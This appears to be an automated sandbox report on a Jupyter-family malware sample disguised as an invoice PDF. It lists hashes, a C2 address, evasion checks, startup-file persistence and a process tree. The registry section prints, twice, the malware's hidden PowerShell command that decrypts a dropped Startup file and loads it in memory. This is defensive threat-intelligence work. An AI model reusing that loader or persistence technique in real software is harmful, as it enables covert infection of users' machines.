Analysis
-
max time kernel
155s -
max time network
161s -
platform
windows10-2004_x64 -
resource
win10v2004-20240412-en -
resource tags
arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system -
submitted
17-04-2024 00:04
Static task
static1
Behavioral task
behavioral1
Sample
Tools-Invoice.pdf.exe
Resource
win7-20240221-en
windows7-x64
8 signatures
150 seconds
General
-
Target
Tools-Invoice.pdf.exe
-
Size
272.0MB
-
MD5
19ec298f977fdc71f195a4782fa8b156
-
SHA1
4a6035ce7510a7cc02bb785244e2cfcaec89131d
-
SHA256
32b42c8c10ce7ec03005931d079fe7bb7f0e5b36bcf57a789081c6f7787e630c
-
SHA512
d8cd8e043c24998d41b06ed0de8a8628389dab04be583094e68f5660ccc666dc260367297d373c800869fe36878aa8730fe35c2eb0b1e6631c0c2fec338b2391
-
SSDEEP
49152:Uj+t6IRUEFX1PVv3Gfbs8HuQq1nvHol6Kz3DfjkJO:Uj+tNtV/AAFBH9yzLt
Malware Config
Extracted
Family
jupyter
C2
http://146.70.71.174
Signatures
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3198953144-1466794930-246379610-1000\Control Panel\International\Geo\Nation Tools-Invoice.pdf.exe Key value queried \REGISTRY\USER\S-1-5-21-3198953144-1466794930-246379610-1000\Control Panel\International\Geo\Nation Tools-Invoice.pdf.exe -
Drops startup file 4 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bLwHrQEpJFOavooAjDNBLrD.ExsYpthtEVXlN Tools-Invoice.pdf.exe File opened for modification \??\c:\users\admin\appdata\roaming\microsoft\windows\start menu\programs\startup\blwhrqepjfoavooajdnblrd.exsypthtevxln taskmgr.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\xIBHqdmEAhEnqoRwwksYVFCr.lsDsDBxPvUYBjAKhoBxkzUSHZtTeCn Tools-Invoice.pdf.exe File opened for modification \??\c:\users\admin\appdata\roaming\microsoft\windows\start menu\programs\startup\xibhqdmeahenqorwwksyvfcr.lsdsdbxpvuybjakhobxkzushzttecn taskmgr.exe -
Executes dropped EXE 3 IoCs
pid Process 3904 TvtuziedoTs.exe 3908 TvtuziedoTs.exe 700 TvtuziedoTs.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000 taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName taskmgr.exe -
Modifies registry class 15 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3198953144-1466794930-246379610-1000_Classes\tcfokoyeurpjnntst\shell\open\command Tools-Invoice.pdf.exe Key created \REGISTRY\USER\S-1-5-21-3198953144-1466794930-246379610-1000_Classes\Local Settings taskmgr.exe Key created \REGISTRY\USER\S-1-5-21-3198953144-1466794930-246379610-1000_Classes\izpfcsnmirzjnllwqcwjweznnxybsnp Tools-Invoice.pdf.exe Key created \REGISTRY\USER\S-1-5-21-3198953144-1466794930-246379610-1000_Classes\tcfokoyeurpjnntst\shell\open Tools-Invoice.pdf.exe Set value (str) \REGISTRY\USER\S-1-5-21-3198953144-1466794930-246379610-1000_Classes\tcfokoyeurpjnntst\shell\open\command\ = "powershell -windowstyle hidden -command \"$AC=New-Object System.Security.Cryptography.AesCryptoServiceProvider;$AC.Key=[Convert]::FromBase64String('4tlPZeU/u3NIcXTiv65iMu84tVLO8U2c+xIHrjnZmxo=');$EB=[Convert]::FromBase64String([IO.File]::ReadAllText([System.Text.Encoding]::Utf8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxiTHdIclFFcEpGT2F2b29BakROQkxyRC5FeHNZcHRodEVWWGxO'))));$AC.IV = $EB[0..15];$Decryptor=$AC.CreateDecryptor();$UB=$Decryptor.TransformFinalBlock($EB, 16, $EB.Length-16);$AC.Dispose();[Reflection.Assembly]::Load($UB);[rt8wjQPEtmlcqs2iZrKuC47aQbTVEoFCYALe76hrb9pjqI8TnDQI_jjI0fyLqYCg.F5YiBpBH3_z]::QcCj8u48mNjtGnV7OG0X1ZnL892XAoU7zbmgVpCcAaUUbOZCUGvAYET2YXVRYaeFftCcN();\"" Tools-Invoice.pdf.exe Set value (str) \REGISTRY\USER\S-1-5-21-3198953144-1466794930-246379610-1000_Classes\.exsypthtevxln\ = "tcfokoyeurpjnntst" Tools-Invoice.pdf.exe Key created \REGISTRY\USER\S-1-5-21-3198953144-1466794930-246379610-1000_Classes\izpfcsnmirzjnllwqcwjweznnxybsnp\shell Tools-Invoice.pdf.exe Set value (str) \REGISTRY\USER\S-1-5-21-3198953144-1466794930-246379610-1000_Classes\.lsdsdbxpvuybjakhobxkzushzttecn\ = "izpfcsnmirzjnllwqcwjweznnxybsnp" Tools-Invoice.pdf.exe Key created \REGISTRY\USER\S-1-5-21-3198953144-1466794930-246379610-1000_Classes\tcfokoyeurpjnntst\shell Tools-Invoice.pdf.exe Key created \REGISTRY\USER\S-1-5-21-3198953144-1466794930-246379610-1000_Classes\.exsypthtevxln Tools-Invoice.pdf.exe Key created \REGISTRY\USER\S-1-5-21-3198953144-1466794930-246379610-1000_Classes\.lsdsdbxpvuybjakhobxkzushzttecn Tools-Invoice.pdf.exe Key created \REGISTRY\USER\S-1-5-21-3198953144-1466794930-246379610-1000_Classes\tcfokoyeurpjnntst Tools-Invoice.pdf.exe Set value (str) \REGISTRY\USER\S-1-5-21-3198953144-1466794930-246379610-1000_Classes\izpfcsnmirzjnllwqcwjweznnxybsnp\shell\open\command\ = "powershell -windowstyle hidden -command \"$AC=New-Object System.Security.Cryptography.AesCryptoServiceProvider;$AC.Key=[Convert]::FromBase64String('4tlPZeU/u3NIcXTiv65iMu84tVLO8U2c+xIHrjnZmxo=');$EB=[Convert]::FromBase64String([IO.File]::ReadAllText([System.Text.Encoding]::Utf8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFx4SUJIcWRtRUFoRW5xb1J3d2tzWVZGQ3IubHNEc0RCeFB2VVlCakFLaG9CeGt6VVNIWnRUZUNu'))));$AC.IV = $EB[0..15];$Decryptor=$AC.CreateDecryptor();$UB=$Decryptor.TransformFinalBlock($EB, 16, $EB.Length-16);$AC.Dispose();[Reflection.Assembly]::Load($UB);[rt8wjQPEtmlcqs2iZrKuC47aQbTVEoFCYALe76hrb9pjqI8TnDQI_jjI0fyLqYCg.F5YiBpBH3_z]::QcCj8u48mNjtGnV7OG0X1ZnL892XAoU7zbmgVpCcAaUUbOZCUGvAYET2YXVRYaeFftCcN();\"" Tools-Invoice.pdf.exe Key created \REGISTRY\USER\S-1-5-21-3198953144-1466794930-246379610-1000_Classes\izpfcsnmirzjnllwqcwjweznnxybsnp\shell\open\command Tools-Invoice.pdf.exe Key created \REGISTRY\USER\S-1-5-21-3198953144-1466794930-246379610-1000_Classes\izpfcsnmirzjnllwqcwjweznnxybsnp\shell\open Tools-Invoice.pdf.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 1180 Tools-Invoice.pdf.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 4044 taskmgr.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 4044 taskmgr.exe Token: SeSystemProfilePrivilege 4044 taskmgr.exe Token: SeCreateGlobalPrivilege 4044 taskmgr.exe Token: SeDebugPrivilege 1180 Tools-Invoice.pdf.exe Token: SeDebugPrivilege 4060 Tools-Invoice.pdf.exe -
Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe 3904 TvtuziedoTs.exe -
Suspicious use of SendNotifyMessage 64 IoCs
pid Process 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe 4044 taskmgr.exe -
Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 4072 wrote to memory of 3904 4072 Tools-Invoice.pdf.exe 87 PID 4072 wrote to memory of 3904 4072 Tools-Invoice.pdf.exe 87 PID 4072 wrote to memory of 3904 4072 Tools-Invoice.pdf.exe 87 PID 4072 wrote to memory of 1180 4072 Tools-Invoice.pdf.exe 88 PID 4072 wrote to memory of 1180 4072 Tools-Invoice.pdf.exe 88 PID 3552 wrote to memory of 700 3552 Tools-Invoice.pdf.exe 98 PID 3552 wrote to memory of 700 3552 Tools-Invoice.pdf.exe 98 PID 3552 wrote to memory of 700 3552 Tools-Invoice.pdf.exe 98 PID 3552 wrote to memory of 4060 3552 Tools-Invoice.pdf.exe 99 PID 3552 wrote to memory of 4060 3552 Tools-Invoice.pdf.exe 99
Processes
-
C:\Users\Admin\AppData\Local\Temp\Tools-Invoice.pdf.exe"C:\Users\Admin\AppData\Local\Temp\Tools-Invoice.pdf.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4072 -
C:\Users\Admin\AppData\Local\Temp\TvtuziedoTs.exe"C:\Users\Admin\AppData\Local\Temp\TvtuziedoTs.exe"2⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
PID:3904
-
-
C:\Users\Admin\AppData\Local\Temp\Tools-Invoice.pdf.exe"C:\Users\Admin\AppData\Local\Temp\Tools-Invoice.pdf.exe" /s2⤵
- Drops startup file
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1180
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /01⤵
- Drops startup file
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SendNotifyMessage
PID:4044
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:3672
-
C:\Users\Admin\AppData\Local\Temp\TvtuziedoTs.exe"C:\Users\Admin\AppData\Local\Temp\TvtuziedoTs.exe"1⤵
- Executes dropped EXE
PID:3908
-
C:\Users\Admin\AppData\Local\Temp\Tools-Invoice.pdf.exe"C:\Users\Admin\AppData\Local\Temp\Tools-Invoice.pdf.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3552 -
C:\Users\Admin\AppData\Local\Temp\TvtuziedoTs.exe"C:\Users\Admin\AppData\Local\Temp\TvtuziedoTs.exe"2⤵
- Executes dropped EXE
PID:700
-
-
C:\Users\Admin\AppData\Local\Temp\Tools-Invoice.pdf.exe"C:\Users\Admin\AppData\Local\Temp\Tools-Invoice.pdf.exe" /s2⤵
- Drops startup file
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:4060
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
81B
MD59351133f7ae59072439ef5aa082cadd4
SHA1abca264039bb6c0b99904c3e3d946e2d7540ae58
SHA256352dfda9233bcf85a88554a70902ed76b5c51be1fccdde900a5c94cf92b6c3fe
SHA5124657ab50d4492178aa4fbf0a2ed9eb89c035666b2292b9b0cb0fb5e13843582cc75484842db5395722756a437168e93991ef10e96d8026a72c26afa60ea75d79
-
Filesize
425B
MD5fff5cbccb6b31b40f834b8f4778a779a
SHA1899ed0377e89f1ed434cfeecc5bc0163ebdf0454
SHA256b8f7e4ed81764db56b9c09050f68c5a26af78d8a5e2443e75e0e1aa7cd2ccd76
SHA5121a188a14c667bc31d2651b220aa762be9cce4a75713217846fbe472a307c7bbc6e3c27617f75f489902a534d9184648d204d03ee956ac57b11aa90551248b8f9
-
Filesize
997KB
MD5dbc534854dd385e59a3f1906ddfb9020
SHA12b3062d82232ce10a8713829199769ff0d12e0fc
SHA25606486febb76aaa7bf469ba1bf46a92c4eafc42a5626646184e8865c862d09dd0
SHA5121506fbc8fca0a3ca06e24fdae2fb9e8cb345fd6197f5cbbaa990490cc20a25b72906ab9668725f29c0bfce6528bd7dca5dc15ca0ac3c0327d1876e58e3d47951
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
\??\c:\users\admin\appdata\roaming\microsoft\windows\start menu\programs\startup\xibhqdmeahenqorwwksyvfcr.lsdsdbxpvuybjakhobxkzushzttecn
Filesize925KB
MD57159b0ff46e4fcf3b16db8ed4e3098e5
SHA10b0d128bf56d9f36b88047dc93da2a374e457714
SHA2568be2f35730b8f20f505c40a9af3cb347771384d5f485aef525ccdb083796f117
SHA512f971f88182276937b09f62500722e09350e7be1dc46ccbcebc5d96b939ee34369b1cde4eb5119df53c96ac28d59bcd91cdaf9f8530fdf8755bf842da44584a92